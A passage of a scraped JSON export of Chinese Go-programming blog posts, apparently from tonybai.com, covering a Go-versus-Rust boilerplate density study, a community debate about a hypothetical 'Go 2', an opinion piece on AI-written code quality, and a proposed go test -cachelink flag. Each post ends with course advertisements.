通过这种方式计算出的 Dryness（干度），代表了剔除“语法支架”和“版权模板”后，真正的业务逻辑与注释在代码中的占比。百分比越高，说明重复代码越少，信息密度越高；百分比越低，说明“样板代码”或重复结构越多。\n令人震惊的对比：Go vs Rust 让我们直接看数据（数据来源：GitHub Top 100 仓库分析，2026年2月）：\n发现了吗？Rust (60.5%) 和 Go (58.78%) 的差距微乎其微，甚至可以说在统计学上是等价的。\nBen Boyter 在文章中坦言，他之前也持有“Go 的样板代码比 Rust 多得多”的刻板印象。但数据表明，虽然两者的“啰嗦”方式不同，但结果是一样的：\nGo 的啰嗦：体现在显式的错误处理、显式的循环结构，以及为了简单性而不得不写的重复逻辑。 Rust 的啰嗦：体现在复杂的类型系统设置、Trait 的实现（impl blocks）、以及为了满足借用检查器而编写的“仪式性”代码。 正如作者所总结的：\nGo 狂热者：“Go 很简单！” -\u0026gt; “是的，简单到你需要把同一件事写很多遍。”\nRust 狂热者：“Rust 完美表达！” -\u0026gt; “是的，但你花了 40% 的时间在写 setup 代码和 trait 实现。”\n其他颠覆性的发现 除了 Go 和 Rust 的“握手言和”，这份报告还有几个极具冲击力的发现：\n1. Lisp 家族是“干度之王” Clojure 以 77.91% 的惊人密度位居榜首。Haskell 紧随其后。\n这验证了一个古老的观点：如果你想要最高的“人类思想 vs 击键次数”比率，Lisp 和函数式语言依然是王者。它们几乎每一行代码都是纯粹的业务逻辑。\n2. Java 居然比 Go 和 Rust 都“干”？ Java 的得分为 65.72%，显著高于 Go、Rust 和 C#。\n这听起来反直觉，毕竟 Java 以 PublicStaticVoidMain 这种冗长著称。但这可能说明：\n现代 Java 及其生态（Spring 等）通过注解等方式极大地消除了样板代码。 或者，Top 100 的 Java 项目多为成熟的业务系统，核心逻辑占比大，而 Go/Rust 项目中系统级代码（通常包含更多底层重复逻辑）较多。 3. 脚本语言的特异性 Shell Script 的密度极高（72.24%），但这主要是因为 Shell 脚本通常很短且高度定制化（Bespoke），很难复用，因此“唯一性”很高。\n小结：复杂度的守恒 这个研究告诉我们一个道理：语言特性（Features）并不一定能消除复杂度，它往往只是转移了复杂度。\nGo 选择了少量的特性，导致逻辑必须通过显式的重复代码来表达；Rust 选择了丰富的特性（宏、泛型、Trait），导致开发者必须编写大量的结构性代码来支撑这些特性。\n对于 Gopher 来说，这或许是一种宽慰：别再为 if err != nil 感到羞愧了。隔壁写 Rust 的兄弟，虽然代码看起来很酷，但他们为了让编译器开心而敲击键盘的次数，并不比你少。\n毕竟，软件工程没有银弹，只有取舍。\n资料链接：https://boyter.org/posts/boilerplate-tax-ranking-popular-languages-by-density/\n聊聊你的“啰嗦”体验\n看完这个数据，你是感到“意料之中”还是“大吃一惊”？在你的实际开发中，你觉得 Go 的 if err != nil 更磨人，还是 Rust 的类型体操和 Trait 实现更让你头大？你认同“复杂度守恒”这个观点吗？\n欢迎在评论区留下你的看法，让我们来一场理性的“语言之争”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/08/go-boilerplate-code-vs-rust-data-refutes-stereotypes/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-boilerplate-code-vs-rust-data-refutes-stereotypes-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/08/go-boilerplate-code-vs-rust-data-refutes-stereotypes\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/08/go-boilerplate-code-vs-rust-data-refutes-stereotypes\"\u003ehttps://tonybai.com/2026/02/08/go-boilerplate-code-vs-rust-data-refutes-stereotypes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在编程语言的鄙视链中，Go 语言常常因为其“繁琐”而饱受诟病。\u003c/p\u003e\n\u003cp\u003e“if err != nil 写断手”、“缺乏语法糖”、“到处都是重复的样板代码”…… 这些似乎已经成为了 Go 的标签。\u003c/p\u003e","title":"数据打脸刻板印象：Go 的“样板代码”竟然和 Rust 一样多？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/06/go-2-dont-become-a-frankenstein-monster\n大家好，我是Tony Bai。\n“Go 2, please don’t make it happen.”\n近日，一张充满讽刺意味的老梗图在 r/golang 社区又炸开了锅。图片的上方，是我们熟悉的 Gopher 吉祥物——那只呆萌、简单、甚至有点傻气的蓝色地鼠，它象征着 Go 语言纯粹而克制的灵魂。\n而在图片的下方，这只 Gopher 发生了一场令人毛骨悚然的“变异”：它长出了巨大的龙翼，上面写着“Generics”（泛型）；它生出了锋利的机械利爪，标签是“Try/Catch”；它的身体变得臃肿不堪，缝合了“Mixins”（混入）、“Lambda 表达式”、“操作符重载”、“多态方法”等各种来自其他语言的特性。\n这只被缝合得面目全非的怪兽，被标注为——“Go 2”。\n时隔多年，这幅图再次引爆了社区，获得了数百个点赞和近百条激烈的评论。尽管 Go 语言的掌舵人 Russ Cox 在2023年的一篇名为“Backward Compatibility, Go 1.21, and Go 2”的博客文章中就早已明确表示“Go 永远不会有破坏性的 Go 2”，但这个话题依然像一根敏感的神经，触动了无数 Gopher 内心深处最隐秘的恐惧：我们热爱的这门语言，会不会最终也难逃“熵增”的宿命，变成另一个臃肿复杂的 C++ 或 Java？\n今天，就让我们借着这场社区激辩，再次探讨一下 Go 语言的过去、现在与未来。如果 Go 真的变成了那个“缝合怪”，你还会爱它吗？\n恐惧的根源：当“简单”成为一种罪过 帖子下的最高赞评论，道出了许多资深 Gopher 的心声：“想要 Go 2 的人，能不能去玩别的语言？”\n这句话听起来充满火药味，但它背后隐藏着 Go 语言最核心的价值观冲突。在编程语言的鄙视链中，Go 常常因为“特性贫乏”而遭到嘲笑。\n“为什么没有三元运算符？写 if-else 手都酸了。” “为什么没有 map、filter、reduce？手写 for 循环太原始了。” “为什么没有异常处理？满屏的 if err != nil 简直是精神污染。” 对于习惯了 Python 列表推导式、Java 注解魔法或 Rust 模式匹配的开发者来说，初见 Go 语言简直就像是从现代文明回到了石器时代。这种“匮乏感”是真实的，也是痛苦的。\n然而，对于另一群人来说，这种“匮乏”恰恰是 Go 最大的特性。\n有位Go拥趸在评论中就犀利地指出：“Go 的表现力不来自于模仿 Turbo Pascal 或其他语言的语法糖，而来自于开发者对自己构建内容的清晰愿景。”\n试想一下，如果 Go 真的引入了所有这些特性，它会变成什么样？\n// 一个想象中的“变异版” Go 代码 try { var result = list.filter(x =\u0026gt; x \u0026gt; 0).map(x =\u0026gt; x * 2).reduce((a, b) =\u0026gt; a + b); result ? process(result) : throw new Error(\u0026#34;Empty result\u0026#34;); } catch (e) { logger.error(e); } 这段代码看起来很“现代”，很“简洁”，对吧？但它还是 Go 吗？当你看到这段代码时，你能一眼看出它的性能开销吗？你能确定 filter 和 map 中是否有隐藏的闭包分配？你能确定 throw 会跳过哪些资源释放逻辑吗？\n不能。 Go 的核心哲学之一是**“所见即所得” (What you see is what you get)**。Go 代码可能写起来啰嗦，但读起来极其清晰。没有隐藏的控制流，没有魔法般的隐式转换。如果为了迎合所有人的口味，把 Rust 的枚举、Java 的注解、Python 的语法糖都塞进 Go 里，那么 Go 就不再是 Go，而变成了一个拙劣的模仿者。\n正如另外一位开发者所言：“如果我想要繁琐和过度设计，我为什么不去用 Java 呢？”\n渴望的呼声：那些“不得不爱”的语法糖 然而，硬币的另一面是，社区的呼声并非全无道理。大家虽然嘴上说着“不要 Go 2”，身体却很诚实地想要一些具体的改进。在激烈的辩论中，有几个特性的呼声高居不下，它们代表了 Go 语言目前最真实的痛点。\n真正的枚举 —— 呼声最高的“刚需” 这是目前 Go 社区最大的痛点之一。Go 现在的枚举实现方式是 const 加上 iota：\nconst ( StatePending = iota StateRunning StateFailed ) 这本质上只是给整数起了一个别名。它最大的问题是缺乏类型安全。你完全可以把一个 State 类型的变量赋值为 100，编译器不会有任何怨言。而且，你无法像 Rust 或 Swift 那样，在枚举中携带额外的数据（Sum Types / Tagged Unions）。\n一位开发者的评论获得了大量赞同：“我只想要真正的枚举。现在的枚举感觉像是黑客拼凑出来的。”\n想象一下，如果 Go 有了类似 Rust 的枚举，我们的错误处理和状态机代码将会变得多么优雅和安全。这不仅仅是语法糖，这是对类型系统的一次重要补全。\n空值安全 —— 生产环境的“救命稻草” 虽然 Go 有了泛型，但 nil 指针解引用依然是生产环境中的一大杀手。在 Java 和 C# 都在引入 Optional 或可空类型的大趋势下，Go 的 nil 处理显得有些落伍。\n有人希望能引入 ?? (空值合并) 或 ?. (可选链) 运算符。\n一位开发者提及：“只要给我空值合并和可选链，我就满足了。” 但反对的声音同样强烈。另外一位开发者惊恐地喊道：“别！我刚从 JS 的陷阱里逃出来，不想再跳进另一个。” 这种分歧展示了 Go 设计的艰难：每一个看似微小的语法糖，都可能引入新的复杂性和不可预知的副作用。\n错误处理的简化 —— if err != nil 的审美疲劳 尽管 if err != nil 是 Go 的标志，但在业务代码中，它确实占据了大量的视觉空间，有时甚至掩盖了核心逻辑。\n社区中一直有关于 try() 提案或 ? 操作符的讨论。大家希望能在保留“显式错误处理”这一核心语义的前提下，减少一些键盘敲击次数。但至今为止，并没有一个提案能完美地平衡“简洁”与“清晰”。甚至Go官方都不得不宣布，先将错误处理的语法糖改进放一放，缓一缓。\n历史的镜鉴：Java 的教训与 C++ 的警示 为了理解为什么 Go 社区对“增加特性”如此警惕，我们需要把目光投向历史。\n在评论区中，Java 成为了被反复提及的反面教材。许多从 Java 转过来的 Gopher 对 Java 的“过度设计”深恶痛绝。\n注解地狱：Spring 框架中的注解虽然方便，但它让代码的运行时行为变得极其难以预测。你看着代码，却不知道它到底在干什么。 层层抽象：为了所谓的“灵活性”，Java 社区习惯于构建一层又一层的抽象，导致调用栈深不见底。 有人评论道：“Java 并没有强迫你写得那么繁琐，是‘企业级 Java’的文化导致了这一切。” 但问题在于，语言的特性往往会塑造社区的文化。当你提供了复杂的抽象能力，开发者就会忍不住去用它。\nGo 的创始人 Rob Pike 曾说过，Go 是为了解决 Google 的软件工程问题而设计的。在 Google，有数万名工程师在同一个代码库上工作，人员流动频繁。代码的可读性、一致性和可维护性，远比“写得爽”更重要。\nGo 通过“限制”开发者的能力（比如不支持继承、不支持重载），强迫大家写出风格一致、简单直白的代码。这是一种“防御性”的语言设计，它牺牲了上限（极致的表达力），保住了下限（代码不会烂得太离谱）。\n现实：Go 2 其实已经发生了 在讨论的喧嚣中，有一个冷静的声音提醒大家：其实，我们已经身处 Go 2 的时代了，只是它不叫 Go 2。\n回顾过去几年，Go 并非一成不变，而是在经历着一场惊心动魄的、却又润物细无声的进化。\n模块化 (Go Modules)：从 GOPATH 到 go.mod，Go 的依赖管理经历了一次彻底的重构，解决了困扰社区多年的“依赖地狱”问题。 泛型 (Generics) 的落地：这是 Go 诞生以来最大的语言变动。经过长达十年的争论、数个方案的推翻重来，Go 团队最终在 1.18 版本中，以一种极其克制、与现有语法高度兼容的方式引入了泛型。它没有破坏现有的代码，也没有引入过度的复杂性。这是一个奇迹。 for循环变量语义修复、函数迭代器、结构化日志 (slog)、工具链升级、性能优化… Go 正在遵循 Russ Cox 当初提出的“渐进式演进”路线图。它没有像 Python 2 到 Python 3 那样，通过一个破坏性的“Go 2.0”版本来割裂社区，造成长达十年的痛苦迁移；而是选择了向后兼容这条最为艰难的道路。\n正如一位开发者所言：“我爱 Go 的一点是，我可以拿着 10 年前的项目代码，用最新的编译器直接编译通过。这是一个疯狂的成就。”\n这种稳定性，是商业公司敢于将核心业务押注在 Go 上的根本原因。\n小结：在此刻，爱上“不完美” 这场关于 Go 2 的辩论，本质上是两种价值观的碰撞：“特性的丰富” vs “工程的克制”。\n我们必须承认，Go 不是完美的。它确实有一些恼人的地方，有一些需要体力和耐心的重复劳动。但正是这些“不完美”，构成了 Go 独特的性格。\nGo 注定不会成为一个拥有所有炫酷特性的语言。它就像那辆你从父辈那里继承来的老本田车：\n它可能没有最先进的自动驾驶功能，没有最豪华的内饰，也没有令人血脉偾张的加速推背感。\n但是，它极其可靠、结构简单、易于维修，并且总能把你安全地送到目的地。\n当你在深夜维护一个高并发的微服务时，当你面对一个由离职同事留下的陌生代码库时，你会感谢 Go 的“简单”。你会庆幸没有那些魔法般的隐式转换，没有那些层层叠叠的抽象，只有一行行清晰、直白、甚至有点笨拙的代码，告诉你程序到底在做什么。\n所以，与其期待一个面目全非的“缝合怪” Go 2，不如在当下，享受这种“简单”带来的确定性与安宁。\nGo 2，请不要发生。因为现在的 Go，已经足够好。\n资料链接：https://www.reddit.com/r/golang/comments/1qssdpx/go_2_please_dont_make_it_happen/\n你的“底线”在哪里？\nGo 语言的简洁与克制，让它成了我们心中的那辆“本田车”。但如果真的有一次机会，你最希望 Go 引入的一个“语法糖”是什么？又或者，哪个特性的引入会让你觉得它彻底变了，让你决定弃坑？\n欢迎在评论区留下你的“真爱宣言”或“退坑预警”！让我们一起探讨 Go 的未来模样。\n如果这篇文章说出了你作为 Gopher 的心声，别忘了点个【赞】和【在看】，转发给你的伙伴，看看他们的“底线”又在哪里！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/06/go-2-dont-become-a-frankenstein-monster/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-2-dont-become-a-frankenstein-monster-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/06/go-2-dont-become-a-frankenstein-monster\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/06/go-2-dont-become-a-frankenstein-monster\"\u003ehttps://tonybai.com/2026/02/06/go-2-dont-become-a-frankenstein-monster\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“Go 2, please don’t make it happen.”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e近日，一张充满讽刺意味的老梗图\u003ca href=\"https://www.reddit.com/r/golang/comments/1qssdpx/go_2_please_dont_make_it_happen/\"\u003e在 r/golang 社区又炸开了锅\u003c/a\u003e。图片的上方，是我们熟悉的 Gopher 吉祥物——那只呆萌、简单、甚至有点傻气的蓝色地鼠，它象征着 Go 语言纯粹而克制的灵魂。\u003c/p\u003e","title":"“Go 2，请不要发生！”：如果 Go 变成了“缝合怪”，你还会爱它吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/05/ai-code-quality-surpasses-80-percent-of-human-programmers\n大家好，我是Tony Bai。\n随着 Claude Code、Gemini Cli、OpenCode 等 AI 智能体编程工具的爆火，技术圈里出现了一种流行的论调：\n“AI 写的代码质量不高，全是 Bug。” “简单的还行，复杂的还得靠人。” “AI 也就是个实习生水平。” 这些批评有道理吗？当然有。AI 确实会产生幻觉，逻辑偶尔会断裂。\n但这种批评忽略了一个最基本的事实：我们拿来对比的基准（Baseline），往往是我们心目中“理想的资深工程师”。\n请现在、立刻、马上打开你公司的 Github私有库或GitLab，随便点开一个两年前的遗留项目，看看里面的代码：\n那些随意的变量命名 tmp, data1； 那些长达 800 行、没有任何注释的上帝函数； 那些为了赶上线而写死的 Magic Number； 那些复制粘贴了 5 遍却忘了改参数的逻辑…… … … 这才是人类编码的常态。\n如果我们摘下“幸存者偏差”的滤镜，从全局视角的大数定律来看，一个残酷的真相正在浮出水面：\nAI 写的代码，虽然缺乏神韵，但其平均质量，可能已经超越了80%的人类程序员。\n人类的“熵增” vs. AI 的“基准线” 人类写代码，本质上是一个对抗熵增的过程。而人类在这个过程中充满了弱点：\n情绪与疲劳：下午 5 点写的代码，质量通常低于上午 10 点。为了赶着回家，我们会下意识地省略错误处理（catch (e) { // TODO }）。 知识盲区：即使是高级工程师，也记不住所有正则表达式的语法，或者某个冷门 API 的最佳实践。 懒惰：没人喜欢写文档，没人喜欢写单元测试。 相比之下，AI 简直就是代码规范的狂热信徒。\n标准化：只要你 Prompt 给对了，它生成的代码默认符合 PEP8、Google Style、Effective Go 或任何你指定的规范。 全面性：它不厌其烦地写 Docstring，写类型注解，写样板代码。这些人类最讨厌干的脏活，是 AI 的舒适区。 无情绪：它不会因为被产品经理气到了，就故意写一段晦涩难懂的代码报复社会。 AI 也许写不出 Linux 内核那样的神作（上限），但它绝对不会写出连缩进都乱七八糟的垃圾。它极大地拉高了代码质量的底线。对于商业软件而言，底线的提升，往往比上限的突破更有价值。\n自动驾驶的启示：一场“平庸”的胜利 我们可以用自动驾驶来做一个绝佳的类比。\n每当特斯拉撞上路桩，媒体都会大肆报道。人们会说：“你看，机器还是不靠谱。”\n但我们忽略了，此时此刻，全世界有成千上万的人类司机正在因为酒驾、看手机、打瞌睡、路怒症而制造车祸。\n统计数据最终会证明：只要 AI 的故障率低于人类的平均故障率，它就是巨大的进步。\n编程也是一样。\nAI 编程的终局，不是写出完美无瑕的代码，而是写出比“人类平均水平”更可靠的代码。\n当 AI 写的代码自带测试、自带文档、没有低级语法错误时，它就已经赢了。它消灭了“垃圾代码”。这将是一场“平庸的胜利”——软件工程将不再依赖个别天才的灵光一闪，而是依赖工业化、标准化的稳定产出。\n范式转移：从“写代码”到“审代码” 如果承认 AI 已经是中级工程师水平，那么人类的角色必须发生根本性的转变。\n以前，我们是 Coder（代码作者）。现在，我们被迫成为了 Reviewer（审查者）和 Architect（架构师）。\n这其实对人类提出了更高的要求。\n阅读理解能力：AI 一秒钟生成 100 行代码，你是否有能力在 10 秒内看出其中的逻辑漏洞？ 系统设计能力：既然“搬砖”的工作 AI 做得比你好，你必须去思考“砖头该怎么垒”——系统架构、数据模型、业务边界。 更关键的是“自动化验证”。\n既然人类读代码的速度跟不上 AI 写代码的速度，我们就必须建立一套**“机器审查机器”**的机制。\nAI 写代码，AI 写测试。 AI 写实现，Compiler/Linter 做检查。 未来的软件质量，将不取决于你手写了多少行代码，而取决于你设计了多严密的护栏（Guardrails）和验收标准（Spec）。\n小结：拥抱“无人编程”时代 我们可能正在经历软件工程领域的“无人驾驶时刻”。\n初期，我们需要“安全员”（人类程序员）手扶方向盘，随时准备接管。\n但随着模型能力的迭代（如 GPT-5.2、Gemini 3.0 Pro、Claude 4.5 Opus等），接管的频率会越来越低。\n最终，“人类手写代码”可能会被视为一种不安全的行为——就像现在“酒后驾车”一样。\n因为人类是不稳定的、不可控的。而经过严格 Prompt 工程和测试约束的 AI，是稳定、可控、可追溯的。\n承认 AI 比我们写得好，并不丢人。\n这意味着我们可以从繁琐的语法细节中解放出来，去追求那 1% 的“神来之笔”——创造力、同理心和对未来的想象。\n你怎么看这个“80%”？\n你认同这个残酷的结论吗？在你看来，AI 生成的代码最让你放心的地方在哪里？最让你担心的地方又在哪里？欢迎在评论区开启你的辩论模式！\n如果这篇文章戳中了你的“痛点”，别忘了点个【赞】和【在看】，并转发给你的开发伙伴，看看他们敢不敢“承认”！\n如何做 AI 的“安全员”？\nAI 的代码质量已经超越了大多数初级工程师。作为一个**“AI 时代的 Tech Lead”**，你该如何建立一套机制，来驾驭这股庞大的算力？\n在我的极客时间专栏**《AI 原生开发工作流实战》中，我们不谈如何写代码，而是谈如何审代码**，如何构建 Test-Driven 的自动化护栏。\n如何利用 Claude Code 自动生成高覆盖率的测试用例？ 如何构建 AI Code Reviewer 来预审代码？ 如何用 Spec 约束 AI，防止幻觉？ 让我们一起，从“写代码的人”，进化为“定义代码标准的人”。\n扫描下方二维码，开启你的进阶之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/05/ai-code-quality-surpasses-80-percent-of-human-programmers/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-code-quality-surpasses-80-percent-of-human-programmers-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/05/ai-code-quality-surpasses-80-percent-of-human-programmers\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/05/ai-code-quality-surpasses-80-percent-of-human-programmers\"\u003ehttps://tonybai.com/2026/02/05/ai-code-quality-surpasses-80-percent-of-human-programmers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e随着 Claude Code、Gemini Cli、OpenCode 等 AI 智能体编程工具的爆火，技术圈里出现了一种流行的论调：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e“AI 写的代码质量不高，全是 Bug。”\u003c/li\u003e\n\u003cli\u003e“简单的还行，复杂的还得靠人。”\u003c/li\u003e\n\u003cli\u003e“AI 也就是个实习生水平。”\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这些批评有道理吗？当然有。AI 确实会产生幻觉，逻辑偶尔会断裂。\u003c/p\u003e","title":"承认吧，AI 写的代码，平均质量已经超过了 80% 的人类程序员！"},{"content":"大项目构建太慢？Brad Fitzpatrick 提议引入 -cachelink 降低测试等待时间 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n大项目构建太慢？Brad Fitzpatrick 提议引入 -cachelink 降低测试等待时间 二月 5, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/02/05/brad-fitzpatrick-cachelink-reduce-go-test-wait-time\n大家好，我是Tony Bai。\n在维护大型 Go 单体仓库（Monorepo）时，你是否遇到过这样的场景：明明只是修改了测试的运行参数（比如 -run 的正则），或者在不同的 CI 节点上运行同一个包的测试，却发现 go test 依然在缓慢地执行“链接（Linking）”步骤？\n对于代码量巨大的项目，链接过程往往是构建链条中最耗时的一环。为了解决这一痛点，Go 社区领袖、Tailscale 核心开发者 Brad Fitzpatrick 近日提交了 #77349 提案，建议引入 -cachelink 标志。这一看似微小的改动，有望在分布式测试和重复执行场景下，显著“挤出”原本被浪费的等待时间。\n被忽视的瓶颈：重复链接的代价 Go 的构建缓存（GOCACHE）机制已经非常高效，它能很好地缓存编译阶段的中间产物（.a 文件）。但是，当你运行 go test 时，工具链的最后一步——将所有依赖链接成一个可执行的测试二进制文件——通常是“一次性”的。\n这意味着，即使你的代码没有任何变动，只要测试指令稍有变化（例如多次运行 go test 但指定不同的测试用例），Go 工具链往往会重新触发链接器。\n# 第一次运行：链接 + 执行 $ go test -run=^TestFoo$ ./pkg/ # 第二次运行（代码未变）：依然触发重新链接 + 执行 $ go test -run=^TestBar$ ./pkg/ 对于依赖项数以千计的大型项目，链接过程可能长达数秒甚至更久。在本地频繁调试或 CI 流水线中，这些重复的秒数累积起来就是巨大的时间浪费。\nBrad 的解法：-cachelink Brad Fitzpatrick 的提案非常直接：允许将链接器输出的最终测试二进制文件，也写入 GOCACHE。\n通过显式开启 -cachelink，go test 的行为将发生变化：\n它会基于构建输入（代码、依赖、环境变量等）计算哈希。 如果发现 GOCACHE 中已经存在已链接好的测试二进制文件。 直接跳过链接步骤，复用该文件进行测试。 这样，上述例子中的第二次调用将瞬间启动，因为最耗时的构建步骤被完全省去了。\n为什么不做成默认行为？ 既然能提速，为什么不默认开启？Brad 在提案讨论中给出了专业的权衡分析：\n空间 vs. 时间。\n测试二进制文件通常包含完整的符号表和调试信息，体积比普通的中间对象文件大得多。如果默认缓存所有测试二进制文件，开发者的磁盘空间（GOCACHE）会迅速膨胀。因此，这是一个以空间换时间的策略，更适合由开发者根据项目规模手动开启，或者在 CI 环境中配置。\n分布式 CI 的“加速器” 该提案真正的杀手级应用场景是 分布式 CI 系统。\n许多大厂使用 GOCACHEPROG 来在构建集群间共享缓存。在典型的 CI 流程中，测试任务往往会被分片（Sharding）到数十台机器上并发执行。\n现状：每一台机器拉取源码后，都需要各自进行一次链接操作，浪费计算资源。 引入 -cachelink 后：第一台完成构建的机器会将二进制文件上传到共享缓存。后续几十台机器直接下载该文件并运行，全集群的链接成本降为“1”。 不仅是 go test -c 有经验的开发者可能会问：“我为什么不直接用 go test -c 手动编译成二进制文件，然后分发运行呢？”\nBrad 指出，手动管理二进制文件会绕过 Go 原生的测试结果缓存。而 -cachelink 的精妙之处在于，它既复用了二进制文件，又保留了 go test 完整的缓存与输出管理体验。你不需要编写复杂的脚本来管理这些文件，一切依然由 go 命令自动处理。\n小结 目前，该提案已进入活跃评审阶段，并有了初步的代码实现。对于深受“构建慢”和“测试慢”困扰的大型项目维护者来说，这无疑是一个值得期待的性能优化利器。我们有望在 Go 1.27 或后续版本中见证它的落地。\n资料链接：https://github.com/golang/go/issues/77349\n聊聊你的构建之苦\n链接时间正在成为你的“带薪摸鱼”理由吗？在你的项目中，go test 运行一次通常需要多久？你为了缩短测试反馈周期，还尝试过哪些黑科技（比如 GOCACHEPROG）？\n欢迎在评论区分享你的实战经验或吐槽！让我们一起期待 -cachelink 的落地。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/05/brad-fitzpatrick-cachelink-reduce-go-test-wait-time/","summary":"\u003ch1 id=\"大项目构建太慢brad-fitzpatrick-提议引入--cachelink-降低测试等待时间---tony-bai\"\u003e大项目构建太慢？Brad Fitzpatrick 提议引入 -cachelink 降低测试等待时间 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca 